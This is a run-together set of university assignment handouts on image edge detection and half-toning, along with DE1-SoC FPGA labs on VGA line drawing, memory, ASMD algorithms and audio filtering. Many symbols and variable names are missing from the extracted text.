22.raw 329×329 24-bit color (RGB) left.raw 322×483 24-bit color (RGB) middle.raw 325×487 24-bit color (RGB) right.raw 325×489 Problem 2: Morphological processing 24-bit color (RGB)spring.raw 252×252 8-bit greyscale flower.raw 247×247 8-bit greyscale jar.raw 252×252 8-bit greyscale maze.raw 343×343 8-bit greyscale horse.raw 422×322 8-bit greyscale Note: “322×483” means “width=322, height=483”.References [1] Matlab panorama example: https://www.mathworks.com/help/vision/ug/feature-based-panoramicimage-stitching.html [2] Matlab SURF Feature detection example: https://www.mathworks.com/help/vision/ref/detectsurffeatures.html [2] OPENCV feature matching example: https://docs.opencv.org/3.4/d5/d6f/tutorial_feature_flann_matcher.html Available: http://www.cvl.isy.liu.se/en/research/datasets/passta/ [4] MPEG-7 Shape dataset: http://www.dabi.temple.edu/~shape/MPEG7/dataset.html
General Instructions: 1. Read Homework Guidelines and MATLAB Function Guidelines for the information about homework programming, write-up and submission. If you make any assumptions about a problem, please clearly state them in your report. Problem 1: Edge Detection (50 %) (a) Sobel Edge Detector (10%) Implement the Sobel edge detector and apply to Elephants.raw and Ski_person.raw images as shown in Fig. 1 (a) and (b). Note that you need to convert RGB images to grayscale image using the formula below. = 0.2989∗ +0.5870∗ +0.1140∗ Include the following in your results: (1) Normalize the x-gradient and the y-gradient values to 0-255 respectively and show the results; (2) Calculate and show the normalized gradient magnitude map; (3) Tune the thresholds (in terms of percentage) to obtain an edge map with the best visual performance. The final edge map should be a binary image whose pixel values are either 0 (edge) or 255 (background).(b) Canny Edge Detector (10%) The Canny edge detector is an edge detection technique utilizing image’s intensity gradients and nonmaximum suppression with double thresholding. In this part, apply the Canny edge detector [1] to both Elepants.jpg and Ski_person.jpg images from BSDS 500 dataset [2]. You are allowed to use any online source code such as the Canny edge detector in the MATLAB image processing toolbox or OpenCV. (1) Explain Non-maximum suppression in Canny edge detector in your own words. (2) How are high and low threshold values used in Canny edge detector? (3) Generate edge maps by trying different low and high thresholds and discuss your results.Figure 1: Elephants and Ski_person images (c) Structured Edge (15%) Apply the Structured Edge (SE) detector [3] to extract edge segments from a color image with online source codes (released toolbox in MATLAB: https://github.com/pdollar/edges). Exemplary edge maps generated by the SE method for the Boat image from BSDS 500 are shown in Figure 2. You can apply the SE detector to the RGB image directly without converting it into a grayscale image. Also, the SE detector will generate a probability edge map. To obtain a binary edge map, you need to binarize the probability edge map with a threshold. (1) Please digest the SE detection algorithm. Summarize it with a flow chart and explain it in your own words (no more than 1 page, including both the flow chart and your explanation). (2) Random Forest (RF) classifier is used in the SE detector. The RF classifier consists of multiple decision trees and integrate the results of these decision trees into one final probability function. Explain the process of decision tree construction and the principle of the RF classifier. (3) Apply the SE detector to Elephants.jpg and Ski_person.jpg images. State the chosen parameters clearly and justify your selection. Compare and comment on the visual results of the Canny detector and the SE detector.Boat Probability edge map Binary edge map (with p>0.8) Figure 2: The Boat image and its probability and binary edge maps obtained by the Structured Edge detector (d) Performance Evaluation (15%) (i) True positive: Edge pixels in the edge map coincide with edge pixels in the ground truth. These are edge pixels the algorithm successfully identifies. (ii) True negative: Non-edge pixels in the edge map coincide with non-edge pixels in the ground truth. These are non-edge pixels the algorithm successfully identifies. (iii) False positive: Edge pixels in the edge map correspond to the non-edge pixels in the ground truth. These are fake edge pixels the algorithm wrongly identifies. (iv) False negative: Non-edge pixels in the edge map correspond to the true edge pixels in the ground truth. These are edge pixels the algorithm misses. Clearly, pixels in (i) and (ii) are correct ones while those in (iii) and (iv) are error pixels of two different types. The performance of an edge detection algorithm can be measured using the F measure, which is a function of the precision and the recall.Precision 😛 = #True Positive #True Positive + #False Positive Recall:R = #True Positive (1) #True Positive + #False Negative F=2×P×R P+R One can make the precision higher by decreasing the threshold in deriving the binary edge map. However, this will result in a lower recall. Generally, we need to consider both precision and recall at the same time and a metric called the F measure is developed for this purpose. A higher F measure implies a better edge detector.Ground Truth 4 Ground Truth 5 Ground Truth 6 Figure 3: Five ground truth edge maps for the Boat image For the ground truth edge maps of Elephants.jpg and Ski_person.jpg images, evaluate the quality of edge maps obtained in Parts (a)-(c) with the following steps: (1) Calculate the precision (P) and recall (R) for each GT (provided in .mat format) separately using the function provided by SE software package. Compute mean P and mean R for each GT. Average all mean P and mean R to get overall mean precision and overall mean recall for all GT. Finally, calculate the F measure (scaler) from overall mean precision and overall mean recall. Please use a table to show the precision and recall for each ground truth, their means and the final F measure (scaler). Comment on the performance of different edge detectors (i.e. pros and cons.)(2) Similar to (1), compute the mean P and mean R for each threshold across all GT. For each threshold, compute mean F measure. Plot the curve of how F measure changes by threshold. Find the best F measure and discuss the plot for different edge detectors.(3) The F measure is image dependent. Which image is easier to a get high F measure – Elephants or Ski_person? Please provide an intuitive explanation to your answer. (4) Discuss the rationale behind the F measure definition. Is it possible to get a high F measure if precision is significantly higher than recall, or vice versa? If the sum of precision and recall is a constant, show that the F measure reaches the maximum when precision is equal to recall.Problem 2: Digital Half-toning (30%) (a) Dithering (15%) Figure 4 Bridge is a grayscale image. Implement the following methods to convert it to half-toned images. In the following discussion, (,) and (,) denote the pixel at position (,) in the input and output images respectively. Show and compare the results obtained by the following algorithms in your report.Figure 4: Bridge [4] 1. Fixed thresholding Choose one value, T, as the threshold to divide the 256 intensity levels into two ranges. An intuitive choice of T would be 128. For each pixel, map it to 0 if it is smaller than T, otherwise, map it to 255, i.e. 0 if 0 ≤ (, )
Display InterfaceLab Objectives In this lab, we will learn how to display images on a VGA terminal using the DE1-SoC Computer’s videoout port and implement a line-drawing algorithm. Introduction The DE1-SoC Computer includes a video-out port with a VGA controller that can be connected to a standard VGA monitor. The VGA controller supports a screen resolution of 640 × 480. The image that is displayed by the VGA controller is derived from two sources: a pixel buffer and a character buffer, however, we will only discuss and use the pixel buffer in this lab. Pixel Buffer red green blue 0…0 y x 0 The pixel buffer for the video-out port holds the data (color) for each pixel that is displayed by the VGA controller, with the coordinate ( , ) referring to the top-left corner of the image (Figure 1). 15 ⋯ 11 10 ⋯ 5 4 ⋯ 0 (a) Pixel color 31 ⋯ 18 17 ⋯ 10 9 ⋯ 1 0 (b) Pixel (x,y) offsetFigure 2: Data layout of pixel color values and address offsets. The color of a pixel is represented within a 16-bit halfword, with five bits for the red and blue components and six bits for the green component (Figure 2a). The address of an individual pixel in the pixel buffer is given by the sum of a base address and an (,) offset (represented as seen in Figure 2b). In the DE1-SoC, the default base address of the pixel buffer is , which corresponds to the starting address of the FPGA on-chip memory. • e.g., pixel ( , ) has address pixel ( , ) has address pixel ( ,1) has address pixel ( , ) addr: You can create an image by writing color values into the pixel addresses as described above. A dedicated pixel buffer controller reads this pixel data from the memory and sends it to the VGA display. The controller reads the pixel data in sequential address order, starting with the pixel data corresponding to the upper-left corner of the VGA screen and proceeding horizontally, then vertically until it reaches the data for the lower-right corner; this process repeats continuously. You can modify the pixel data at any time by writing to the pixel addresses. Writes to the pixel buffer are automatically interleaved in the hardware with the read operations that are performed by the pixel buffer controller. Drawing Drawing a line on a screen requires coloring pixels between two points (x1,y1) and (x2,y2), such that the pixels represent the desired line as closely as possible. For example, if we want to draw a line between points ( , ) and ( , ), we cannot draw the line precisely – we can only draw a shape that is similar to the line by coloring the pixels that fall closest to the line’s ideal location on the screen. This is illustrated in Figure 3, where the squares represent pixels on the screen.We can use algebra to determine which pixels to color based on the slope and end points of the line. The slope of our example line is (2 − 1)/(2 − 1) = 4/11. Starting at one endpoint , we move along the -axis to the other endpoint and compute the -position for each -position as: = 1 + slope × ( − 1). Thus, for = 2, which you can think of as a column of pixels, the -position of the pixel for the line is 1 + (4/11) × (2 − 1) = 15/11. Since pixel locations are defined by integer values, we round this result to the nearest integer, and determine that we should color the pixel at . For = 3, we compute = 19/11 and color the pixel at . Similarly, we compute pixels to color through = 12 = 2. This approach (compute a -position for every -position) has drawbacks when a line is steep (i.e., |slope| > 1), since it will span more rows than it does columns. In this case, our calculations will not produce a smooth-looking line and will not work at all for a vertical line. To address this problem, we can alter the algorithm to instead move along the -axis when a line is steep. With this change, we can implement what is known as Bresenham’s line algorithm (two different pseudocodes are given in Figure 4 and the first link on the next page – either will work for this lab). In Figure 4, the first 15 lines of the algorithm make the needed adjustments depending on whether or not the line is steep. Lines 17 to 22 then increment the variable one step at a time and computes the corresponding -value. The -value is incremented when needed to stay as close to the ideal location of the line as possible. Bresenham’s line algorithm calculates an variable to decide whether or not to increment each -value. The version of the algorithm shown in Figure 4 uses only integers. This arithmetic is signed, so pay attention to your data types and operators in SystemVerilog and test both positive and negative values, where appropriate. If you would like to learn more about how Bresenham’s line algorithm works: • http://members.chello.at/easyfilter/bresenham.html • https://en.wikipedia.org/wiki/Bresenham%27s_line_algorithm 1 draw_line(x0, x1, y0, y1) 2 3 boolean is_steep = abs(y1-y0) > abs(x1-x0) 4 if is_steep then 5 swap(x0, y0) 6 swap(x1, y1) 7 if x0 > x1 then 8 swap(x0, x1) 9 swap(y0, y1) 10 11 int deltax = x1-x0 12 int deltay = abs(y1-y0) 13 int error = -(deltax/2) 14 int y = y0 15 if y0 < y1 then y_step = 1 else y_step = -1 16 17 for x from x0 to x1 18 if is_steep then draw_pixel(y,x) else draw_pixel(x,y) 19 error = error + deltay 20 if error >= 0 then 21 y = y + y_step 22 error = error − deltaxFigure 4: Pseudocode for Bresenham’s line algorithm. Task #1 – VGA Connection (no deliverables) 1) Download from Canvas (Files → Labs → lab5). 2) Unzip the Quartus project folder, which contains some files that will help you work with the VGA output of the DE1-SoC. In particular, there are three SystemVerilog files: a) is a driver for the VGA port of the board. You don’t need to edit or understand this file, but you might notice that it uses a 38,400-byte framebuffer register, similar to what was described above. The ternary operator on the last line of this file controls the colors of the lines you’ll be drawing (only black or white for this lab). b) is a skeleton file for you to implement Bresenham’s line algorithm. c) is a top-level module that instantiates both of the above modules. This should compile and function as-is, but you will modify it for later tasks. 3) Verify that the project compiles on LabsLand and produces an output on your monitor. a) On LabsLand, choose the “VGA” option for the interface (shown in Figure 5). b) Once the code is synthesized and uploaded onto an FPGA, the VGA monitor will initially produce a rainbow gradient before turning black (shown in Figure 6).Task #2 – Implement the Line-Drawing Algorithm Some notes about the • It takes inputs , corresponding to the coordinate pairs • On positive edges of the input clock , the outputs and form a coordinate pair on the line between and . On any given clock cycle, and should each change by at most one pixel, since we’re guaranteed to use |slope| ≤ 1. • As indicated in the file, you’ll need to create some local registers (i.e., variables) to keep track of things. Notice that the example signal is declared as and is a bit longer than the coordinate ports. Your task is to draw a line between any two arbitrary points on the monitor. However, Bresenham’s line algorithm can get complicated and you need to handle drawing to the left, right, up, or down, and both steep and gradual lines. Instead of doing this all at once, you’ll probably want to work in smaller steps. The following are suggestions on how to approach this problem, but you can complete this task in whatever way makes the most sense to you. 1) Set = (in case of monitor cut-off) and use to draw horizontal lines – i.e., implement the for-loop mechanics and > conditional. 2) Modify your algorithm to handle perfectly diagonal lines from any arbitrary starting point – i.e., handle 3) Modify your algorithm to handle lines with gradual slopes, e.g., from – i.e., handle 4) Modify your algorithm to handle lines with steep slopes, e.g., from – i.e., handle While you won’t be demoing this task, you will need to include simulation results for drawing left-up, right-up, left-down, right-down for both steep and gradual slopes. Task #3 – Animate an Object Modify to implement the following: 1) Use your line algorithm to draw a line on the monitor and animate it to move around the screen. a) You can be as creative as you want with this animation, but make sure that it demonstrates the full functionality of your line-drawing algorithm. You should draw lines to the left and right with negative, positive, steep and shallow slopes as well as horizontal and vertical lines. 2) Implement a reset that, when activated, clears the screen by drawing every pixel to be black. a) You’ll need to modify the port connection to the module to choose between drawing black or white. Note that you don’t need to provide simulation results for your animation, but instead will include a drawing or image of what it produces.Lab Demonstration/Turn-In Requirements In-Person Demo • Demonstrate your working Task #3 that animates an object moving around the screen. • Demonstrate your working Task #3 reset that clears the monitor. Lab Report (submit as PDF on Gradescope) • Include the required Design Procedure, Results, and Experience Report sections. • Don’t forget to also submit your SystemVerilog files ( ), including testbenches!Lab 5 Rubric Grading Criteria Points Name, student ID, lab number 2 pts Design Procedure ▪ A diagram must be included for your algorithm. ▪ The design of your animation algorithm must be described and please include a diagram, if appropriate. 14 pts Results ▪ Correct behavior must be shown for drawing left-up, right-up, left-down, rightdown for both steep and gradual slopes. ▪ Include a drawing or image of your final animation. 18 pts Experience Report 6 pts SystemVerilog code uploaded 5 pts Code Style 5 pts LAB DEMO 80 pts ▪ Bonus points available for particularly impressive animations. (10 pts) 130 pts
Choose Your Own Project!Lab Objectives Take what you’ve learned in this class and design and implement a fun/cool project that utilizes the DE1SoC board and peripherals.Project Requirements Be creative! You are required to use: 1) A VGA display (building off of Lab 5). 2) Some form of significant memory storage (e.g., pixel data, audio clip, other game data). You can refer to Labs 2–4 for a refresher on initializing and using memory. 3) Some form of user input, which could be the switches and push buttons or some of the peripherals listed below. You can, and are encouraged to, use additional peripherals. All drivers you will need for this lab can be found in the folder on Canvas within the folder. Unfortunately, we are limited to the currently available interfaces on LabsLand, but these include: • Sound output from a speaker (building off of Lab 3). • A virtual 360-degree joystick. • An “N8” controller, shown in the form of an old controller from the Nintendo Entertainment System (4 directional pad, Select, Start, A, B).Notes for using a VGA display:Notes for using audio output: Recall that LabsLand does not allow you hear your audio live. Unfortunately, this means you can’t do things like producing sounds/noises at certain events as they would only be heard in the recording afterward. However, it would be acceptable to produce an audio output as a final artifact based on the user input (e.g., a beat or drum generator).Project Ideas You are allowed to take inspiration and code from elsewhere (e.g., a software implementation, your 271/369 project), but make sure that you cite your sources. However, these portions will not count towards the overall difficulty of your project – we care about what you will be implementing this quarter. Category 1: Games • Side-scrolling: The player(s) move through a level, avoiding or destroying obstacles or enemies. • Combat: Two or more players compete to collect points and/or defeat the others, maybe with projectiles or by growing their own body as an obstacle. • Tile-matching: Tetris, Bust-a-Move, Candy Crush, or something of similar complexity. • Card: Blackjack, Solitaire, Set, or something of similar complexity. Category 2: Audiovisual • Paint: Allow the user to draw on the VGA or otherwise change an image output. • Audio Visualization: Use an audio input file to display some sort of reactive visualization. • Music Generation: Take in user input to generate sound, e.g., music notation/composition. Basic pixel-by-pixel painting is not complex enough to be used as the sole feature of a project – this will need to be extended with other, more complex features. Category 3: Create Your Own Come up with your own idea that satisfies the list of requirements above and submit a proposal to the course staff! Past class video with other examples: https://youtu.be/3J6ZwsfqRKQ Do note that that video is from when the course was using DE1-SoC lab kits, so there were different peripherals available. Project Explanation Video This quarter will not require a video demo. The links below are left as examples. Here are some links (UW login required) to past project videos that earned full scores on the video (i.e., not necessarily on the project itself): • Flood Fill Algorithm: https://drive.google.com/file/d/1wQ0kaWS5sYTW_nqx97thSxf5XRjbGFSy/view?usp=sharing • Red Light, Green Light Game: https://drive.google.com/file/d/17OUh_Y5rUIQt0QEx2tVa1pa4yn0tr5e/view?usp=sharing Project Demonstration/Turn-In Requirements In-Person Demo • Demonstrate your completed project working on LabsLand. • Be prepared to answer questions on both the theoretical and practical parts of the project. Project Report (submit as PDF on Gradescope) • Include the required Design Procedure, Results, and Experience Report sections. o If you worked with a partner, include a partner work summary in your Experience Report. • Don’t forget to also submit your SystemVerilog files ( ), including testbenches!Lab 6 Rubric Grading Criteria Points Name, student ID, lab number 2 pts Design Procedure 20 pts Results 14 pts Experience Report 14 pts SystemVerilog code uploaded 5 pts Code Style 5 pts PROJECT DEMO 70 pts ▪ Bonus points available for particularly impressive projects (10 pts) 140 pts
Implementing Algorithms in HardwareLab Objectives In this lab, you will use Algorithmic State Machine with Datapath (ASMD) charts to implement algorithms as hardware circuits.Introduction – ASMD Review The implementation of algorithms in hardware is often performed by separating the data storage and manipulation components (the datapath circuit) from an FSM for the routing logic (the control circuit).Task #1 – Bit-Counting Algorithm The ASMD chart shown in Figure 1 represents a circuit that counts the number of bits set to in an -bit input (i.e., =an−1an−2…a1a0).Implement the bit-counting circuit given by the ASMD chart in Figure 1 in SystemVerilog to run on the DE1-SoC board, combining the necessary datapath components and a control circuit FSM. • The inputs to your circuit should consist of an 8-bit input () connected to switches , a synchronous connected to , and a start signal () connected to KEY3. • Use the 50 MHz clock signal provided on the board as the clock input for your circuit. Be sure to handle metastability properly in your input. • Display the number of ’s counted in on the 7-segment display , and signal that the algorithm is finished by lighting upTask #2 – Binary Search Algorithm Implement a binary search algorithm, which searches through an unsigned array to locate an 8-bit value once the user presses . A block diagram for the circuit is shown in Figure 2. The binary search algorithm works on a sorted array. Rather than comparing each value in the array to the one being sought, we first look at the middle element and compare the sought value to the middle element. If the middle element has a greater value, then we know that the value we seek would be in the first half of the array. Otherwise, the value we seek would be in the second half of the array. By applying this approach recursively, we can complete our search in many fewer steps. By default, is an unsigned data type in SystemVerilog (i.e., the stored bits are interpreted by their non-negative binary value). Comparisons such as and are unsigned comparisons on values, regardless of what radix you are using to display their value in ModelSim. For example, if , it turns out that returns false, because -1 is stored as , which is interpreted as 255 in unsigned.In this circuit, the array, which you can assume has a fixed size of 32 elements, is stored in a memory module that is implemented inside the FPGA. A diagram of the memory module that we need to create is depicted in Figure 3. This memory should contain a sorted collection of 8-bit unsigned integers. The input should be specified on switches – , on , and on . Your circuit should produce a 5-bit output , which specifies the address in the memory where the number is located, a signal Done indicating that the algorithm is finished, and a signal that should be high if was found and low otherwise. Display , if found, in hex on – , Done on , and Perform the following steps: 1) Create an ASMD chart for the binary search algorithm. Keep in mind that the memory has registers on its input ports – when would you expect to see the output associated with new inputs? 2) Implement the control FSM and the datapath for your circuit as separate modules. 3) Create a memory that is eight-bits wide and 32 words deep in a similar fashion to Lab 2 Task #1 and then connect it to your FSM and datapath to the memory block as indicated in Figure 2. Use the DE1-SoC board’s 50 MHz clock signal as the Clock input and be sure to synchronize the input to the clock (i.e., handle metastability). 4) Create a memory initialization file called (refer to Lab 2 Task #3 Step 2) and fill it with an ordered set of 8-bit unsigned integers of your choice. Make sure that this file is saved in the same folder as the Quartus project. 5) Make sure that your design works in simulation and on the DE1-SoC board. 6) After you have Tasks 1 and 2 working, add the ability to switch between them in the same program usingLab Demonstration/Turn-In Requirements In-Person Demo • Demonstrate your working Task #1 bit-counting algorithm on different inputs. • Explain what your Task #1 reset signal does in your code. • Demonstrate your working Task #2 binary search algorithm for found and not found inputs. • Explain what your Task #2 reset signal does in your code. Lab Report (submit as PDF on Gradescope) • Include the required Design Procedure, Results, and Experience Report sections. o Notice that Figure 1 does not currently include your control signals or ASM blocks. Also notice that Figure 2 does not currently include your control or status signals. • Don’t forget to also submit your SystemVerilog files ( ), including test benches! Lab 4 Rubric Grading Criteria Points Name, student ID, lab number 2 pts Design Procedure 16 pts Results 16 pts Experience Report 6 pts SystemVerilog code uploaded 5 pts Code Style 5 pts LAB DEMO 50 pts 100 pts
Lab Objectives In computer systems it is necessary to provide a substantial amount of memory. If a system is implemented using only FPGA technology, it is possible to provide some amount of memory by using the memory resources that exist in the FPGA device. In this lab, we will examine the general issues involved in implementing such memory. Remember to start the tasks in this lab by either following the first steps from the Warmup Task from Lab 1 or by making a copy of an existing Quartus project folder. Introduction The FPGA included on the DE1-SoC board provides dedicated memory resources and has M10K blocks, each of which contains 10240 memory bits. The M10K blocks can be configured to implement memories of various sizes. A common term used to specify the size of a memory is its aspect ratio, which gives the depth (in words) and the width (in bits) as depth × width. In this lab, we will use an aspect ratio of 32 × 3. There are two important features of the M10K blocks: 1) They include registers to synchronize all the input and output signals to a clock input. 2) They have separate ports for writing data to the memory and reading data from the memory. A conceptual diagram of the Random-Access Memory (RAM) module that we want implement is shown in Figure 1a. It contains 32 three-bit words (i.e., rows) that are accessed using a five-bit port, a three-bit bidirectional port, and a control input. However, given the properties of the M10K blocks, we will instead implement the modified 32 x 3 RAM module shown in Figure 1b. It includes registers for the address, data input, and write ports, and uses a separate unregistered data output port.Figure 1: 32 x 3 RAM module for Lab 2. Task #1 – Memory Using Library Modules Commonly used logic structures, such as adders, registers, counters, and memories, can be implemented in an FPGA chip by using prebuilt modules that are provided in libraries. In this exercise, we will use such a module to implement the memory shown in Figure 1b. 1) Create a new Quartus project. 2) Get a library RAM module from the IP Catalog: a) Open the IP Catalog in the Quartus menu by clicking on b) In the IP Catalog window, expand “ ”, then “ ”. Then double-click “ ”. c) In the “ ” dialog box that opens, append the text “ ” to the end of the file name and select “ ” as the file type. Then click “ ” to open the configuration wizard. d) In the configuration window, specify 3-bit width for the output bus and 32 words of memory. Then select the “ ” radio button for memory block type and “ ” for the clocking method before clicking “ ”. e) Now, deselect the check box for registering (i.e., placing a register on) the “ ”. This creates a RAM module that matches the structure in Figure 1b. Click “ to accept the defaults for the rest of the settings in the Wizard. f) You will have to click “ ” one more time at the Summary page to exit the Wizard. If prompted, add the new Quartus Prime IP File to your project by clicking “ ” in the Project Navigator window and open (nested under ) to examine it. It defines the following module: module ram32x3 (address, clock, data, wren, q); input [4:0] address; // Address input clock; input [2:0] data; // DataIn input wren; // Write output [2:0] q; // DataOut // … Check above the definition of this module. If you see a line that looks like the following:“… does not have a timeunit/timeprecision specification in effect, but other modules do.” 4) Create a new SystemVerilog file called that instantiates the module, using appropriate input and output signals for the memory ports as shown in Figure 1b. a) Once you compile your circuit, various parts of the Compilation Report will indicate that the RAM circuit is implemented using 96 bits in one of the FPGA memory blocks.5) Create a suitable testbench to verify that you can read and write to the memory in simulation. You will likely encounter the following simulation error at first: “Instantiation of ‘altsyncram’ failed. The design unit was not found.” Solution: In the ModelSim menu, select → “ ” and then go to the tab and add under “ ”. Then, go to the tab, select your testbench module, and click . If you are using files to run your simulations, you can also add the text “ ” to the end of line where you specify your testbench module.Task #2 – Memory Using SystemVerilog Instead of creating a memory module by using the IP Catalog, we can implement the required memory by specifying its structure in SystemVerilog code as a multidimensional array. A 32 × 3 array, which has 32 words with 3 bits per word, can be declared by the statement: logic [2:0] memory_array [31:0];On the FPGA, such an array can be implemented either by using flip-flops found in each logic cell or, more efficiently, by using the built-in memory blocks. In general, arrays with asynchronous reads (i.e., not registered) will be mapped to flip-flops and arrays with synchronous reads (i.e., registered) will be mapped to memory blocks. 1) Write a SystemVerilog module in a new file that provides the necessary functionality as Task #1 but using a multidimensional array. You should be able to use the same testbench as Task #1. 2) Create a top-level SystemVerilog module in a new file that instantiates your new module and uses the inputs and outputs on the DE1-SoC as specified: a. Use switches – to specify and switches – to specify b. Use as the signal and as the input. c. Display the value (in hex) on – , the value on on . A basic 7-segment driver module has been provided for you, which you can freely change; describe any changes you make, but no testbench or waveforms are needed for this module. 3) Synthesize the circuit and download it to a DE1-SoC on LabsLand to test its functionality. In LabsLand, make sure that you select the “Standard” user interface, as opposed to the “Breadboard” that we used in Lab 1:Task #3 – Library Memory with Independent Read and Write The RAM blocks in Figure 1 have a single port for both read and write operations. For this task you will create a different type of memory module that has separate ports for the addresses of read and write operations. You will also learn how to create and use a memory initialization file (MIF). 1) Generate the desired memory module from the IP Catalog by using the “ ” module ”, select “ b) Configure the memory size, clocking method, and registered ports the same way as in Task #1. ”, select “ i. This setting specifies that it does not matter whether the memory outputs the new data being written, or the old data previously stored, in the case that the write and read addresses are the same during a write operation.i. This memory initialization file (MIF) allows us to initialize our RAM to specific values that are loaded when the circuit is programmed into the FPGA chip. You will create this MIF file in Step 2. e) Finish the Wizard and then examine the generated memory module in 2) Create your MIF file a) In the Quartus menu, go to → and then select “ b) Specify 32 words and word size of 3. c) Manually fill the grid with the values you want to place in each memory address. i. If helpful, the menu will let you adjust the number of cells per row displayed and the address and memory radices. d) Save the MIF file as . You can also manually edit this file in a text editor. 3) Augment the top-level module (and its testbench) from Task #2 to use to toggle between the memories of Task #2 ( ) and Task #3 ( ). The following requirements are purposefully similar to Task #2 but pay attention to the differences. Any significant, new modules should have testbenches and simulations; you should mention the source for any provided or reused modules. a) Use – and – to specify the write address and write data, respectively. Display (in hex) the write address on – and the write data on b) Use a counter to cycle through read addresses about one per second (no verification needed). Display (in hex) the read address on – and the 3-bit word content on . c) Use the 50 MHz clock, , to synchronize the system and use as a reset signal. Make sure that you properly handle metastability issues for asynchronous inputs. d) Make sure that the memories from Task #2 and Task #3 are independent of each other (i.e., writing to one memory should not be reflected in the other memory)! 4) Test your circuit and verify that the initial contents of the memory match your file. Make sure that you can independently write data to any address by using the switches and move between the Task #2 and Task #3 memories using Lab Demonstration/Turn-In Requirements In-Person Demo • Briefly show and explain your SystemVerilog memory implementation from Task #2. • Briefly show and your file from Task #3. • Demonstrate your working Task #3 memory circuit (which includes the Task #2 circuit) on the DE1SoC. Lab Report (submit as PDF on Gradescope) • Include the required Design Procedure, Results, and Experience Report sections. o The designs for basic or provided modules like the 7-segment driver and counter should be briefly mentioned, but you do not need to include state diagrams or simulations for these. • Don’t forget to also submit your SystemVerilog files ( ), including testbenches!Lab 2 Rubric Grading Criteria Points Name, student ID, lab number 2 pts Design Procedure ▪ System block diagram for your finished Task #3 (this includes Tasks #2) 6 pts Results ▪ Waveforms & explanations of Tasks #1 & 2 memories (recommended combined into a single simulation) ▪ Waveforms & explanations of top-level module for Task #3 ▪ Waveforms & explanations of any other significant and new modules for Task #3 12 pts Experience Report 6 pts SystemVerilog code uploaded 5 pts Code Style 5 pts LAB DEMO 26 pts 62 pts
Digital Signal ProcessingLab Objectives In this lab, you will use the audio coder/decoder (CODEC) on the DE1-SoC board to generate and filter noise from both an external source and an internal memory. Using audio with the DE1-SoC via LabsLand involves some special instructions so make sure to reference the document before you do any testing on the hardware! Introduction Sounds, such as speech and music, are signals that change over time. The amplitude of a signal determines the volume at which we hear it. The way the signal changes over time determines the type of sounds we hear. For example, an “ah” sound is represented by a waveform shown in Figure 1. The waveform is an analog signal, which can be stored in a digital form by using a relatively small number of samples that represent the analog values at certain points in time. The process of producing such digital signals is called sampling. The points in Figure 2 provide a sampled waveform. All points are spaced equally in time and they trace the original waveform.Figure 1: An example waveform for an “ah” sound. Figure 2: Sampled waveform of Figure 1. The DE1-SoC board is equipped with an audio CODEC capable of sampling sound from a microphone and providing it as an input to a circuit. By default, the CODEC provides 48000 samples per second (48 kHz), which is sufficient to accurately represent audible sounds (by the Nyquist-Shannon sampling theorem). To simplify this lab, a system that can record and play back sounds on the board is provided as a “starter kit.” The system comprises a Clock Generator, an Audio CODEC Interface, and an Audio/Video Configuration module (Figure 3). For this lab, we will assume that our audio will be split into two channels, left and right, that are intended to be played from multiple speakers (e.g., left and right earbuds/headphones). The left column of signals in Figure 3 are the inputs and outputs of the system. These I/O ports supply the clock inputs and connect the Audio CODEC and Audio/Video Configuration modules to the corresponding peripheral devices on the DE1-SoC board. The right column of signals connects the Audio CODEC Interface module to your circuit and allows your circuit to record sounds from a microphone and play them back via speakers.Figure 3: The audio system used in Lab 3. The system works as follows (this interface is also detailed in the starter kit files): • Upon reset, the Audio/Video Configuration begins an auto-initialization sequence. The sequence sets up the audio device to sample microphone input at a rate of 48 kHz and produce output through the speakers at the same rate. • Once the auto-initialization is complete, the Audio CODEC begins reading the data from the microphone once every 48,000-th of a second and sends it to the Audio CODEC Interface core in the system. Note that this is significantly SLOWER than the DE1-SoC’s onboard 50 MHz clocks. • Once received, a sample is stored in a 128-element buffer in the Audio CODEC Interface core. The first element of the buffer is always visible on the and outputs (i.e., 2 channels for 1 sample), but the data is only valid when the signal is asserted. When you assert the signal, the current sample is replaced by the next element one or more clock cycles later, indicated by being reasserted. • The procedure to output sound through the speakers is similar. Your circuit should monitor the signal. Only when the Audio CODEC is ready for a write operation should your circuit assert the signal to write a sample from the and signals. This operation stores a sample in a buffer inside of the Audio CODEC Interface, which will then send the sample to the speakers at the right time.Figure 4: Connections between the FPGA and the Audio CODEC. Task #1 – Passing Music Through the FPGA In this task, you will play a music file into the audio input of the DE1-SoC, which will simultaneously be played through the audio output of the device. 1) Modify the provided starter kit circuit to pass the audio input to audio output only when the CODEC is ready. Hint: BOTH the audio input and audio output have to be ready for data passing! 2) In LabsLand, upload an audio file (either the provided or your own – see for restrictions) alongside your synthesized circuit and verify that the preview of the audio file matches your recorded output sample. Recall that in LabsLand, you must record while playing the audio file into the DE1-SoC. It is critical that you get the code for this task correct, as your understanding of the communication protocol with the audio CODEC will affect your ability to do the rest of the lab correctly. Once you have completed this task, you can post privately on Ed Discussion or drop by an office hour and a staff member will be happy to verify your setting of the and signals. Task #2 – Play a Tone from Memory In this task, you will produce a static tone from memory. By storing the samples from a sound’s waveform, you can play back those samples later to re-produce the sound. We have provided a Python script which generates MIF files for a desired tone, which can then be loaded into memory. Information on how to use this Python script can be found in the tutorial document 1) Follow the tutorial on using the python script to create a MIF file with your desired tone. Create a ROM that initializes to the values stored in the MIF file using Quartus’ built in library modules: a. Open the IP Catalog in the Quartus menu by clicking on → “ ”. In the IP Catalog window, expand “ ”, then “ ”, then “ ”. Then double-click “ ”. b. Give the file an appropriate name, select “ ” as the file type, then click “ ” to open the configuration wizard. c. In the first window specify 24-bits as the word width. You will need to check your generated MIF file to find the number of words, as this will vary. select “ ” for memory block type and “ ” for the clocking method, then click “ ”. d. Click “ ” past the “ ” window keeping the default selections. e. In the next window, under “ ”, select “ ” and specify your MIF file. Click “ ” to use the rest of the default settings, then click “ ” again at the summary page to exit the wizard. If prompted, add the new Quartus Prime IP File to your project by clicking “ 2) Output the values stored in your ROM sequentially to the Audio CODEC, looping back to the start when you reach the end. Make sure to increment the address only once each time you write. 3) Compile and download your overall design to the DE1-SoC board, record the generated tone in LabsLand and then listen to the generated tone played from the FPGA. 4) Combine your Task #1 and Task #2 by instantiating them in a single top-level module that plays the input audio (Task #1) when and your tone from memory (Task #2) when . While testing, you should switch between the tasks about halfway through your recording. Task #3 – FIR Filter Size In this task, you will learn a basic signal processing technique known as filtering. Filtering is a process of adjusting a signal (e.g., removing noise). Noise in a sound waveform is represented by small, but frequent changes to the amplitude of the signal. A simple logic circuit that achieves the task of noise-filtering is an averaging Finite Impulse Response (FIR) filter. An averaging filter removes noise from a sound by averaging the values of adjacent samples. 